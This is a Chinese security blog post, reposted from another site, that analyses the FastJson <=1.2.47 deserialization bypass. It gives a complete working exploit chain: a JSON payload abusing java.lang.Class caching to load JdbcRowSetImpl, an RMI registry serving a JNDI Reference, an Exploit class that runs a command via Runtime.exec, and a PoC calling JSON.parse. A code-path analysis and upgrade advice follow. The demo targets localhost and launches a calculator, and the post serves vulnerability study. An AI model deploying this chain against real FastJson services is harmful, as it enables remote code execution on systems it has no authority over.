连长 's Blog
就平写一些文章,没有任何装逼的成分。
Toggle navigation
连长 's Blog
主页
红蓝对抗
渗透测试
代码审计
漏洞复现
工具类型
其他类型
关于博主
友情链接
归档
标签
FastJson =< 1.2.47 反序列化漏洞浅析
无
2020-08-10 13:38:30
376
0
0
funk
poc ``` {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}} ``` 最近据说爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升级到> 1.2.47版本(保险起见,建议升级到最新版) ##环境准备 阅读本篇文章之前建议先了解一下fastjson中的jndi漏洞利用方式。 ###rmiServer.java ``` /* * Copyright sky 2019-07-11 Email:sky@03sec.com. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package cn.org.javaweb.fastjsontest; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; /** * @author sky */ public class test3 { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exloit", "Exploit","http://localhost:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); } } ``` ###Exploit.java ``` import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class Exploit implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { exec("xterm"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); } } ``` ###poc.java ``` /* * Copyright sky 2019-07-11 Email:sky@03sec.com. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package cn.org.javaweb.fastjsontest; import com.alibaba.fastjson.JSON; /** * @author sky */ public class test5 { public static void main(String[] argv) { String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"xxxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" + "\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}}"; JSON.parse(payload); } } ``` 其中Exploit.java需要使用javac编译执行一次生成Exploit.class并放置在localhost:8000端口的根目录。我这边使用python简单的httpServer搭建的简易http服务器。  ## 调用分析 调用过程和之前的 《fastjson jndi利用方式》 差不多,这边使用了一个特性绕过了黑名单机制,在**com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)** 执行逻辑中: 首先遇到的是第一个**key@type**,然后进行了以下的判断,如果是**@type**并且启用了特殊key检查的话,那么就把对应的value作为类来加载。这边摘取片段来进行展示。 ``` if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ………… ………… ………… if (object != null&&object.getClass().getName().equals(typeName)) { clazz = object.getClass(); } else { clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); } ………… ………… ………… Object obj = deserializer.deserialze(this, clazz, fieldName); return obj; } ``` fastjson会去检测@type的类是否为黑名单中的类,  而poc中传入的@type为**java.lang.class**并非黑名单中的类,所以第一步检测的通过的。 接下来会把对应的value进行加载,也就是加载**java.lang.class**  跟进**deserialze**方法**(com.alibaba.fastjson.serializer.MiscCodec#deserialze)**  可以看到**lexer**中的**stringVal**为**poc**中的**val**,而**val**的值为**com.sun.rowset.JdbcRowSetImpl.** 接下来将objVal赋值给strVal  然后执行下面一大串if判断,其中有个if为: 如果传入的**clazz**为**java.lang.class**,则会调用**TypeUtils.loadClass**加载**com.sun.rowset.JdbcRowSetImpl**类,  跟进loadClass方法  从而导致checkAutoType在检测是否为黑名单的时候绕了过去,因为上一步将com.sun.rowset.JdbcRowSetImpl放入了mapping中,checkAutoType中使用TypeUtils.getClassFromMapping(typeName)去获取class不为空,从而绕过了黑名单检测  导致将**com.sun.rowset.JdbcRowSetImpl**放入mapping中的问题点是在**loadClass**中的第三个参数,该参数是指是否对class放入缓存mapping中。 >com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader) 1.2.47版本中的代码  ##结语 文章中有不对的点欢迎指出,勿喷,文明交流 转载>03sec.com
上一篇:
Windows猥琐端口复用后门使用方法和工具
下一篇:
Cobalt Strike Aggressor Scripts 初探
0
赞
376 人读过
新浪微博
微信
腾讯微博
QQ空间
人人网
提交评论
立即登录
, 发表评论.
没有帐号?
立即注册
0
条评论
More...
文档导航
没有帐号? 立即注册